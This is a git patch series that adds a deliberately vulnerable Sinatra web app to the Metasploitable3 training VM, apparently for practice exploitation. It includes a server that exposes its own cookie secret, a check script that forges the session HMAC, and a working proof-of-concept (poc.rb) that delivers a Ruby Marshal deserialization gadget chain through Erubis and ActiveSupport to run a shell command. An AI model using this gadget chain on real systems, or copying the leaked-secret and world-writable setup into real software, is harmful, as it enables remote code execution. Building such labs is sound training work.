From 1b2191100550c8859da7e1bd2ba38a0997506c1c Mon Sep 17 00:00:00 2001
From: wchen-r7 <wei_chen@rapid7.com>
Date: Fri, 31 Mar 2017 17:15:04 -0500
Subject: [PATCH 1/8] Add Sinatra Leaked Secret Deserialization Vulnerability

---
 Vagrantfile                                   |  3 +-
 .../metasploitable/files/sinatra/Gemfile      |  6 +++
 .../metasploitable/files/sinatra/README.txt   | 31 +++++++++++
 .../metasploitable/files/sinatra/check.rb     | 26 ++++++++++
 .../metasploitable/files/sinatra/poc.rb       | 34 +++++++++++++
 .../metasploitable/files/sinatra/sinatra.sh   | 21 ++++++++
 .../metasploitable/files/sinatra/start.rb     | 26 ++++++++++
 .../metasploitable/recipes/sinatra.rb         | 51 +++++++++++++++++++
 8 files changed, 197 insertions(+), 1 deletion(-)
 create mode 100644 chef/cookbooks/metasploitable/files/sinatra/Gemfile
 create mode 100644 chef/cookbooks/metasploitable/files/sinatra/README.txt
 create mode 100644 chef/cookbooks/metasploitable/files/sinatra/check.rb
 create mode 100644 chef/cookbooks/metasploitable/files/sinatra/poc.rb
 create mode 100644 chef/cookbooks/metasploitable/files/sinatra/sinatra.sh
 create mode 100644 chef/cookbooks/metasploitable/files/sinatra/start.rb
 create mode 100644 chef/cookbooks/metasploitable/recipes/sinatra.rb

diff --git a/Vagrantfile b/Vagrantfile
index 3c89824..57d8cef 100644
--- a/Vagrantfile
+++ b/Vagrantfile
@@ -11,7 +11,7 @@ Vagrant.configure("2") do |config|
     win2k8.vm.network "private_network", type: "dhcp"
 
     # Install Chocolatey
-    config.vm.provision :shell, path: "scripts/installs/chocolatey.cmd"
+    #config.vm.provision :shell, path: "scripts/installs/chocolatey.cmd"
     config.vm.provision :reload # Hack to reset environment variables
 
     # Install BoxStarter
@@ -157,6 +157,7 @@ Vagrant.configure("2") do |config|
       chef.add_recipe "metasploitable::phpmyadmin"
       chef.add_recipe "metasploitable::proftpd"
       chef.add_recipe "metasploitable::users"
+      chef.add_recipe "metasploitable::sinatra"
     end
   end
 end
diff --git a/chef/cookbooks/metasploitable/files/sinatra/Gemfile b/chef/cookbooks/metasploitable/files/sinatra/Gemfile
new file mode 100644
index 0000000..d5ba5fc
--- /dev/null
+++ b/chef/cookbooks/metasploitable/files/sinatra/Gemfile
@@ -0,0 +1,6 @@
+source 'https://rubygems.org'
+gem 'rack', '1.6.5'
+gem 'sinatra', '1.4.8'
+gem 'erubis'
+gem 'erubis'
+gem 'activesupport'
diff --git a/chef/cookbooks/metasploitable/files/sinatra/README.txt b/chef/cookbooks/metasploitable/files/sinatra/README.txt
new file mode 100644
index 0000000..588c13c
--- /dev/null
+++ b/chef/cookbooks/metasploitable/files/sinatra/README.txt
@@ -0,0 +1,31 @@
+==============
+Description
+==============
+
+This application is vulnerable to a deserialization vulnerability due to a
+compromised session secret.
+
+Since this is a custom application, the Metasploitable player is required to
+figure out what the secret is (remotely, not through code reading), and write
+an exploit from scratch.
+
+For development purposes, you can use the following scripts to test the
+vulnerable service:
+
+* check.rb - This will check if the application is vulnerable.
+* poc.rb   - This will attempt to exploit the application. It will create a
+             file named /tmp/your_id.txt
+
+==============
+Usage
+==============
+
+To start the vulnerable application, first do:
+
+$ bundle install
+
+And then finally:
+
+$ ruby start.rb
+
+The server should start on port 8080.
diff --git a/chef/cookbooks/metasploitable/files/sinatra/check.rb b/chef/cookbooks/metasploitable/files/sinatra/check.rb
new file mode 100644
index 0000000..4ba8474
--- /dev/null
+++ b/chef/cookbooks/metasploitable/files/sinatra/check.rb
@@ -0,0 +1,26 @@
+#!/usr/bin/env ruby
+
+#
+# This will check our vulnerable app to see if it's vulnerable or not.
+# It does so by predicting the hash in the cookie.
+#
+
+require 'openssl'
+require 'cgi'
+require 'net/http'
+
+SECRET = "a7aebc287bba0ee4e64f947415a94e5f"
+
+cli = Net::HTTP.new('127.0.0.1', 8080)
+req = Net::HTTP::Get.new('/')
+res = cli.request(req)
+cookie = res['Set-Cookie'].scan(/_metasploitable=(.+); path/).flatten.first || ''
+data, hash = cookie.split('--')
+puts "[*] Found hash: #{hash}"
+puts "[*] Attempting to recreate the same hash with secret: #{SECRET}"
+expected_hash = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, SECRET, CGI.unescape(data))
+puts "[*] Predicted hash: #{expected_hash}"
+
+if expected_hash == hash
+  puts "[*] Yay! we can predict the hash. The server is vulnerable."
+end
diff --git a/chef/cookbooks/metasploitable/files/sinatra/poc.rb b/chef/cookbooks/metasploitable/files/sinatra/poc.rb
new file mode 100644
index 0000000..1af717f
--- /dev/null
+++ b/chef/cookbooks/metasploitable/files/sinatra/poc.rb
@@ -0,0 +1,34 @@
+#!/usr/bin/env ruby
+
+#
+# This PoC will inject Ruby code in our vulnerable app.
+# It will run the system command "id", and save the output in /tmp/your_id.txt
+#
+
+require 'openssl'
+require 'cgi'
+require 'net/http'
+
+SECRET = "a7aebc287bba0ee4e64f947415a94e5f"
+
+module Erubis;class Eruby;end;end
+module ActiveSupport;module Deprecation;class DeprecatedInstanceVariableProxy;end;end;end
+
+erubis = Erubis::Eruby.allocate
+erubis.instance_variable_set :@src, "%x(id > /tmp/your_id.txt); 1"
+proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.allocate
+proxy.instance_variable_set :@instance, erubis
+proxy.instance_variable_set :@method, :result
+proxy.instance_variable_set :@var, "@result"
+
+session = { 'session_id' => '', 'exploit' => proxy }
+
+dump = [ Marshal.dump(session) ].pack('m')
+hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, SECRET, dump)
+cookie = "_metasploitable=#{CGI.escape("#{dump}--#{hmac}")}"
+
+http = Net::HTTP.new('127.0.0.1', 8080)
+req = Net::HTTP::Get.new('/')
+req['Cookie'] = cookie
+res = http.request(req)
+puts "Done"
diff --git a/chef/cookbooks/metasploitable/files/sinatra/sinatra.sh b/chef/cookbooks/metasploitable/files/sinatra/sinatra.sh
new file mode 100644
index 0000000..71de83a
--- /dev/null
+++ b/chef/cookbooks/metasploitable/files/sinatra/sinatra.sh
@@ -0,0 +1,21 @@
+#! /bin/sh
+### BEGIN INIT INFO
+# Provides: sinatra
+# Required-Start: $remote_fs $syslog
+# Required-Stop: $remote_fs $syslog
+# Default-Start: 2 3 4 5
+# Default-Stop: 0 1 6
+# Short-Description: Sinatra
+# Description: This file starts the sinatra service
+# 
+### END INIT INFO
+
+case "$1" in
+ start)
+   /opt/sinatra/start.rb
+   ;;
+ *)
+   echo "Usage: start {start}" >&2
+   exit 3
+   ;;
+esac
diff --git a/chef/cookbooks/metasploitable/files/sinatra/start.rb b/chef/cookbooks/metasploitable/files/sinatra/start.rb
new file mode 100644
index 0000000..f5cfe43
--- /dev/null
+++ b/chef/cookbooks/metasploitable/files/sinatra/start.rb
@@ -0,0 +1,26 @@
+#!/usr/bin/env ruby
+
+require 'sinatra'
+require 'erubis'
+require 'active_support'
+
+MYSECRET = 'a7aebc287bba0ee4e64f947415a94e5f'
+
+set :environment, :development
+set :bind, '0.0.0.0'
+set :port, 8080
+
+use Rack::Session::Cookie,
+  :key          => "_metasploitable",
+  :path         => "/",
+  :expire_after => 1800,
+  :secret       => MYSECRET
+
+get '/' do
+  val = "Shhhhh, don't tell anybody this cookie secret: #{MYSECRET}"
+  session['_metasploitable'] = val unless session['_metasploitable']
+  body =  "Welcome to Metasploitable3 - Linux edition.<br>"
+  body << "If you exploit this application, you will be handsomely rewarded."
+  [200, {}, body]
+end
+
diff --git a/chef/cookbooks/metasploitable/recipes/sinatra.rb b/chef/cookbooks/metasploitable/recipes/sinatra.rb
new file mode 100644
index 0000000..4bafebf
--- /dev/null
+++ b/chef/cookbooks/metasploitable/recipes/sinatra.rb
@@ -0,0 +1,51 @@
+#
+# Cookbook:: sinatra
+# Recipe:: sinatra
+#
+# Copyright:: 2017, Rapid7, All Rights Reserved.
+#
+#
+
+include_recipe 'metasploitable::sinatra'
+
+apt_repository 'rvm' do
+  uri 'ppa:rael-gc/rvm'
+end
+
+package 'rvm'
+
+bash 'run rvm.sh' do
+  code <<-EOH
+  source /etc/profile.d/rvm.sh
+  rvmsudo rvm install ruby-2.3.1
+  rvm --default use 2.3.1
+  gem install bundler
+  EOH
+end
+
+directory '/opt/sinatra' do
+  mode '0777'
+end
+
+['Gemfile', 'README.txt', 'check.rb', 'poc.rb', 'start.rb'].each do |fname|
+  cookbook_file "/opt/sinatra/#{fname}" do
+    source "sinatra/#{fname}"
+    mode '0777'
+  end
+end
+
+bash 'bundle install sinatra' do
+  code <<-EOH
+  cd /opt/sinatra
+  bundle install
+  EOH
+end
+
+cookbook_file '/etc/init.d/sinatra' do
+  source 'sinatra/sinatra.sh'
+  mode '0777'
+end
+
+service 'sinatra' do
+  action [:enable, :start]
+end

From 2642ae3146588de6efb750750762b5688acdd416 Mon Sep 17 00:00:00 2001
From: wchen-r7 <wei_chen@rapid7.com>
Date: Fri, 31 Mar 2017 17:17:09 -0500
Subject: [PATCH 2/8] fix typo

---
 Vagrantfile | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/Vagrantfile b/Vagrantfile
index 57d8cef..50dc596 100644
--- a/Vagrantfile
+++ b/Vagrantfile
@@ -11,7 +11,7 @@ Vagrant.configure("2") do |config|
     win2k8.vm.network "private_network", type: "dhcp"
 
     # Install Chocolatey
-    #config.vm.provision :shell, path: "scripts/installs/chocolatey.cmd"
+    config.vm.provision :shell, path: "scripts/installs/chocolatey.cmd"
     config.vm.provision :reload # Hack to reset environment variables
 
     # Install BoxStarter

From 820f2652411cecf0e33bb663196561ce92a37766 Mon Sep 17 00:00:00 2001
From: wchen-r7 <wei_chen@rapid7.com>
Date: Fri, 31 Mar 2017 17:20:04 -0500
Subject: [PATCH 3/8] Change port

---
 chef/cookbooks/metasploitable/files/sinatra/check.rb | 2 +-
 chef/cookbooks/metasploitable/files/sinatra/poc.rb   | 2 +-
 chef/cookbooks/metasploitable/files/sinatra/start.rb | 2 +-
 3 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/chef/cookbooks/metasploitable/files/sinatra/check.rb b/chef/cookbooks/metasploitable/files/sinatra/check.rb
index 4ba8474..647c424 100644
--- a/chef/cookbooks/metasploitable/files/sinatra/check.rb
+++ b/chef/cookbooks/metasploitable/files/sinatra/check.rb
@@ -11,7 +11,7 @@ require 'net/http'
 
 SECRET = "a7aebc287bba0ee4e64f947415a94e5f"
 
-cli = Net::HTTP.new('127.0.0.1', 8080)
+cli = Net::HTTP.new('127.0.0.1', 8181)
 req = Net::HTTP::Get.new('/')
 res = cli.request(req)
 cookie = res['Set-Cookie'].scan(/_metasploitable=(.+); path/).flatten.first || ''
diff --git a/chef/cookbooks/metasploitable/files/sinatra/poc.rb b/chef/cookbooks/metasploitable/files/sinatra/poc.rb
index 1af717f..c1de5bb 100644
--- a/chef/cookbooks/metasploitable/files/sinatra/poc.rb
+++ b/chef/cookbooks/metasploitable/files/sinatra/poc.rb
@@ -27,7 +27,7 @@ dump = [ Marshal.dump(session) ].pack('m')
 hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, SECRET, dump)
 cookie = "_metasploitable=#{CGI.escape("#{dump}--#{hmac}")}"
 
-http = Net::HTTP.new('127.0.0.1', 8080)
+http = Net::HTTP.new('127.0.0.1', 8181)
 req = Net::HTTP::Get.new('/')
 req['Cookie'] = cookie
 res = http.request(req)
diff --git a/chef/cookbooks/metasploitable/files/sinatra/start.rb b/chef/cookbooks/metasploitable/files/sinatra/start.rb
index f5cfe43..df0b465 100644
--- a/chef/cookbooks/metasploitable/files/sinatra/start.rb
+++ b/chef/cookbooks/metasploitable/files/sinatra/start.rb
@@ -8,7 +8,7 @@ MYSECRET = 'a7aebc287bba0ee4e64f947415a94e5f'
 
 set :environment, :development
 set :bind, '0.0.0.0'
-set :port, 8080
+set :port, 8181
 
 use Rack::Session::Cookie,
   :key          => "_metasploitable",

From 2f2a2f2309e465890364d214c0299b439c9594b2 Mon Sep 17 00:00:00 2001
From: wchen-r7 <wei_chen@rapid7.com>
Date: Wed, 5 Apr 2017 15:54:14 -0500
Subject: [PATCH 4/8] Use upstart script

---
 Vagrantfile                                   | 16 +++++------
 .../metasploitable/files/sinatra/Gemfile      |  5 ++--
 .../metasploitable/files/sinatra/README.txt   |  2 +-
 .../files/sinatra/{start.rb => server.rb}     |  7 +++++
 .../metasploitable/files/sinatra/sinatra.conf |  5 ++++
 .../metasploitable/files/sinatra/sinatra.sh   |  2 +-
 .../metasploitable/recipes/sinatra.rb         | 27 +++++--------------
 7 files changed, 31 insertions(+), 33 deletions(-)
 rename chef/cookbooks/metasploitable/files/sinatra/{start.rb => server.rb} (74%)
 create mode 100644 chef/cookbooks/metasploitable/files/sinatra/sinatra.conf

diff --git a/Vagrantfile b/Vagrantfile
index bc99435..8981263 100644
--- a/Vagrantfile
+++ b/Vagrantfile
@@ -154,15 +154,15 @@ Vagrant.configure("2") do |config|
                     }
                   }
 
-      chef.add_recipe "metasploitable::mysql"
-      chef.add_recipe "metasploitable::apache_continuum"
-      chef.add_recipe "metasploitable::apache"
-      chef.add_recipe "metasploitable::php_545"
-      chef.add_recipe "metasploitable::phpmyadmin"
-      chef.add_recipe "metasploitable::proftpd"
-      chef.add_recipe "metasploitable::users"
+      #chef.add_recipe "metasploitable::mysql"
+      #chef.add_recipe "metasploitable::apache_continuum"
+      #chef.add_recipe "metasploitable::apache"
+      #chef.add_recipe "metasploitable::php_545"
+      #chef.add_recipe "metasploitable::phpmyadmin"
+      #chef.add_recipe "metasploitable::proftpd"
+      #chef.add_recipe "metasploitable::users"
       chef.add_recipe "metasploitable::sinatra"
-      chef.add_recipe "metasploitable::docker"
+      #chef.add_recipe "metasploitable::docker"
     end
   end
 end
diff --git a/chef/cookbooks/metasploitable/files/sinatra/Gemfile b/chef/cookbooks/metasploitable/files/sinatra/Gemfile
index d5ba5fc..9e129f4 100644
--- a/chef/cookbooks/metasploitable/files/sinatra/Gemfile
+++ b/chef/cookbooks/metasploitable/files/sinatra/Gemfile
@@ -1,6 +1,5 @@
 source 'https://rubygems.org'
-gem 'rack', '1.6.5'
-gem 'sinatra', '1.4.8'
-gem 'erubis'
+gem 'rack', '2.0.1'
+gem 'sinatra', '2.0.0rc2'
 gem 'erubis'
 gem 'activesupport'
diff --git a/chef/cookbooks/metasploitable/files/sinatra/README.txt b/chef/cookbooks/metasploitable/files/sinatra/README.txt
index 588c13c..1ad1eab 100644
--- a/chef/cookbooks/metasploitable/files/sinatra/README.txt
+++ b/chef/cookbooks/metasploitable/files/sinatra/README.txt
@@ -28,4 +28,4 @@ And then finally:
 
 $ ruby start.rb
 
-The server should start on port 8080.
+The server should start on port 8181.
diff --git a/chef/cookbooks/metasploitable/files/sinatra/start.rb b/chef/cookbooks/metasploitable/files/sinatra/server.rb
similarity index 74%
rename from chef/cookbooks/metasploitable/files/sinatra/start.rb
rename to chef/cookbooks/metasploitable/files/sinatra/server.rb
index df0b465..6e48811 100644
--- a/chef/cookbooks/metasploitable/files/sinatra/start.rb
+++ b/chef/cookbooks/metasploitable/files/sinatra/server.rb
@@ -3,6 +3,7 @@
 require 'sinatra'
 require 'erubis'
 require 'active_support'
+require 'webrick'
 
 MYSECRET = 'a7aebc287bba0ee4e64f947415a94e5f'
 
@@ -10,6 +11,12 @@ set :environment, :development
 set :bind, '0.0.0.0'
 set :port, 8181
 
+# These settings are specific for Sinatra 2.0.0rc2
+set :logging, false
+set :quiet, true
+dev_null = WEBrick::Log::new("/dev/null", 7)
+set :server_settings, {:Logger => dev_null, :AccessLog => dev_null}
+
 use Rack::Session::Cookie,
   :key          => "_metasploitable",
   :path         => "/",
diff --git a/chef/cookbooks/metasploitable/files/sinatra/sinatra.conf b/chef/cookbooks/metasploitable/files/sinatra/sinatra.conf
new file mode 100644
index 0000000..b090155
--- /dev/null
+++ b/chef/cookbooks/metasploitable/files/sinatra/sinatra.conf
@@ -0,0 +1,5 @@
+description 'Run vulnerable Sinatra'
+author 'metasploitable3'
+
+start on runlevel [2345]
+exec "/opt/sinatra/start.sh"
diff --git a/chef/cookbooks/metasploitable/files/sinatra/sinatra.sh b/chef/cookbooks/metasploitable/files/sinatra/sinatra.sh
index 71de83a..fdceaea 100644
--- a/chef/cookbooks/metasploitable/files/sinatra/sinatra.sh
+++ b/chef/cookbooks/metasploitable/files/sinatra/sinatra.sh
@@ -12,7 +12,7 @@
 
 case "$1" in
  start)
-   /opt/sinatra/start.rb
+   /opt/sinatra/start.sh
    ;;
  *)
    echo "Usage: start {start}" >&2
diff --git a/chef/cookbooks/metasploitable/recipes/sinatra.rb b/chef/cookbooks/metasploitable/recipes/sinatra.rb
index 4bafebf..72098d2 100644
--- a/chef/cookbooks/metasploitable/recipes/sinatra.rb
+++ b/chef/cookbooks/metasploitable/recipes/sinatra.rb
@@ -9,43 +9,30 @@
 include_recipe 'metasploitable::sinatra'
 
 apt_repository 'rvm' do
-  uri 'ppa:rael-gc/rvm'
+  uri 'ppa:brightbox/ruby-ng'
 end
 
-package 'rvm'
+package 'ruby2.3'
 
-bash 'run rvm.sh' do
-  code <<-EOH
-  source /etc/profile.d/rvm.sh
-  rvmsudo rvm install ruby-2.3.1
-  rvm --default use 2.3.1
-  gem install bundler
-  EOH
-end
+package 'bundler'
 
 directory '/opt/sinatra' do
   mode '0777'
 end
 
-['Gemfile', 'README.txt', 'check.rb', 'poc.rb', 'start.rb'].each do |fname|
+['Gemfile', 'README.txt', 'check.rb', 'poc.rb', 'start.sh', 'server.rb'].each do |fname|
   cookbook_file "/opt/sinatra/#{fname}" do
     source "sinatra/#{fname}"
     mode '0777'
   end
 end
 
-bash 'bundle install sinatra' do
-  code <<-EOH
-  cd /opt/sinatra
-  bundle install
-  EOH
-end
-
-cookbook_file '/etc/init.d/sinatra' do
-  source 'sinatra/sinatra.sh'
+cookbook_file '/etc/init/sinatra.conf' do
+  source 'sinatra/sinatra.conf'
   mode '0777'
 end
 
 service 'sinatra' do
+  supports restart: false, start: true, reload: false, status: false
   action [:enable, :start]
 end

From bccc03578b0970328262f47aefefeb822f4e1d11 Mon Sep 17 00:00:00 2001
From: wchen-r7 <wei_chen@rapid7.com>
Date: Wed, 5 Apr 2017 15:58:26 -0500
Subject: [PATCH 5/8] Update sinatra.rb

---
 chef/cookbooks/metasploitable/recipes/sinatra.rb | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/chef/cookbooks/metasploitable/recipes/sinatra.rb b/chef/cookbooks/metasploitable/recipes/sinatra.rb
index 72098d2..4548cfe 100644
--- a/chef/cookbooks/metasploitable/recipes/sinatra.rb
+++ b/chef/cookbooks/metasploitable/recipes/sinatra.rb
@@ -20,7 +20,7 @@ directory '/opt/sinatra' do
   mode '0777'
 end
 
-['Gemfile', 'README.txt', 'check.rb', 'poc.rb', 'start.sh', 'server.rb'].each do |fname|
+['Gemfile', 'README.txt', 'check.rb', 'poc.rb', 'start.conf', 'server.rb'].each do |fname|
   cookbook_file "/opt/sinatra/#{fname}" do
     source "sinatra/#{fname}"
     mode '0777'

From ab5a2ae9d3202515c47ed19b75ac3b4b29cfe5f6 Mon Sep 17 00:00:00 2001
From: wchen-r7 <wei_chen@rapid7.com>
Date: Wed, 5 Apr 2017 15:59:49 -0500
Subject: [PATCH 6/8] Add missing file

---
 chef/cookbooks/metasploitable/files/sinatra/start.sh | 5 +++++
 chef/cookbooks/metasploitable/recipes/sinatra.rb     | 2 +-
 2 files changed, 6 insertions(+), 1 deletion(-)
 create mode 100644 chef/cookbooks/metasploitable/files/sinatra/start.sh

diff --git a/chef/cookbooks/metasploitable/files/sinatra/start.sh b/chef/cookbooks/metasploitable/files/sinatra/start.sh
new file mode 100644
index 0000000..45226cb
--- /dev/null
+++ b/chef/cookbooks/metasploitable/files/sinatra/start.sh
@@ -0,0 +1,5 @@
+#!/bin/sh
+
+cd /opt/sinatra
+bundle install
+ruby ./server.rb 
diff --git a/chef/cookbooks/metasploitable/recipes/sinatra.rb b/chef/cookbooks/metasploitable/recipes/sinatra.rb
index 4548cfe..72098d2 100644
--- a/chef/cookbooks/metasploitable/recipes/sinatra.rb
+++ b/chef/cookbooks/metasploitable/recipes/sinatra.rb
@@ -20,7 +20,7 @@ directory '/opt/sinatra' do
   mode '0777'
 end
 
-['Gemfile', 'README.txt', 'check.rb', 'poc.rb', 'start.conf', 'server.rb'].each do |fname|
+['Gemfile', 'README.txt', 'check.rb', 'poc.rb', 'start.sh', 'server.rb'].each do |fname|
   cookbook_file "/opt/sinatra/#{fname}" do
     source "sinatra/#{fname}"
     mode '0777'

From d3dd4e00c3441ec38b71e36bb9a9542d8cf6e3e3 Mon Sep 17 00:00:00 2001
From: wchen-r7 <wei_chen@rapid7.com>
Date: Wed, 5 Apr 2017 16:03:00 -0500
Subject: [PATCH 7/8] Restore Vagrantfile

---
 Vagrantfile | 16 ++++++++--------
 1 file changed, 8 insertions(+), 8 deletions(-)

diff --git a/Vagrantfile b/Vagrantfile
index 8981263..bc99435 100644
--- a/Vagrantfile
+++ b/Vagrantfile
@@ -154,15 +154,15 @@ Vagrant.configure("2") do |config|
                     }
                   }
 
-      #chef.add_recipe "metasploitable::mysql"
-      #chef.add_recipe "metasploitable::apache_continuum"
-      #chef.add_recipe "metasploitable::apache"
-      #chef.add_recipe "metasploitable::php_545"
-      #chef.add_recipe "metasploitable::phpmyadmin"
-      #chef.add_recipe "metasploitable::proftpd"
-      #chef.add_recipe "metasploitable::users"
+      chef.add_recipe "metasploitable::mysql"
+      chef.add_recipe "metasploitable::apache_continuum"
+      chef.add_recipe "metasploitable::apache"
+      chef.add_recipe "metasploitable::php_545"
+      chef.add_recipe "metasploitable::phpmyadmin"
+      chef.add_recipe "metasploitable::proftpd"
+      chef.add_recipe "metasploitable::users"
       chef.add_recipe "metasploitable::sinatra"
-      #chef.add_recipe "metasploitable::docker"
+      chef.add_recipe "metasploitable::docker"
     end
   end
 end

From 759bde200a2b40c8e4acf4f958fd369576f38d3b Mon Sep 17 00:00:00 2001
From: James Barnett <James_Barnett@rapid7.com>
Date: Wed, 5 Apr 2017 17:27:15 -0500
Subject: [PATCH 8/8] Remove unused file.

---
 .../metasploitable/files/sinatra/sinatra.sh   | 21 -------------------
 1 file changed, 21 deletions(-)
 delete mode 100644 chef/cookbooks/metasploitable/files/sinatra/sinatra.sh

diff --git a/chef/cookbooks/metasploitable/files/sinatra/sinatra.sh b/chef/cookbooks/metasploitable/files/sinatra/sinatra.sh
deleted file mode 100644
index fdceaea..0000000
--- a/chef/cookbooks/metasploitable/files/sinatra/sinatra.sh
+++ /dev/null
@@ -1,21 +0,0 @@
-#! /bin/sh
-### BEGIN INIT INFO
-# Provides: sinatra
-# Required-Start: $remote_fs $syslog
-# Required-Stop: $remote_fs $syslog
-# Default-Start: 2 3 4 5
-# Default-Stop: 0 1 6
-# Short-Description: Sinatra
-# Description: This file starts the sinatra service
-# 
-### END INIT INFO
-
-case "$1" in
- start)
-   /opt/sinatra/start.sh
-   ;;
- *)
-   echo "Usage: start {start}" >&2
-   exit 3
-   ;;
-esac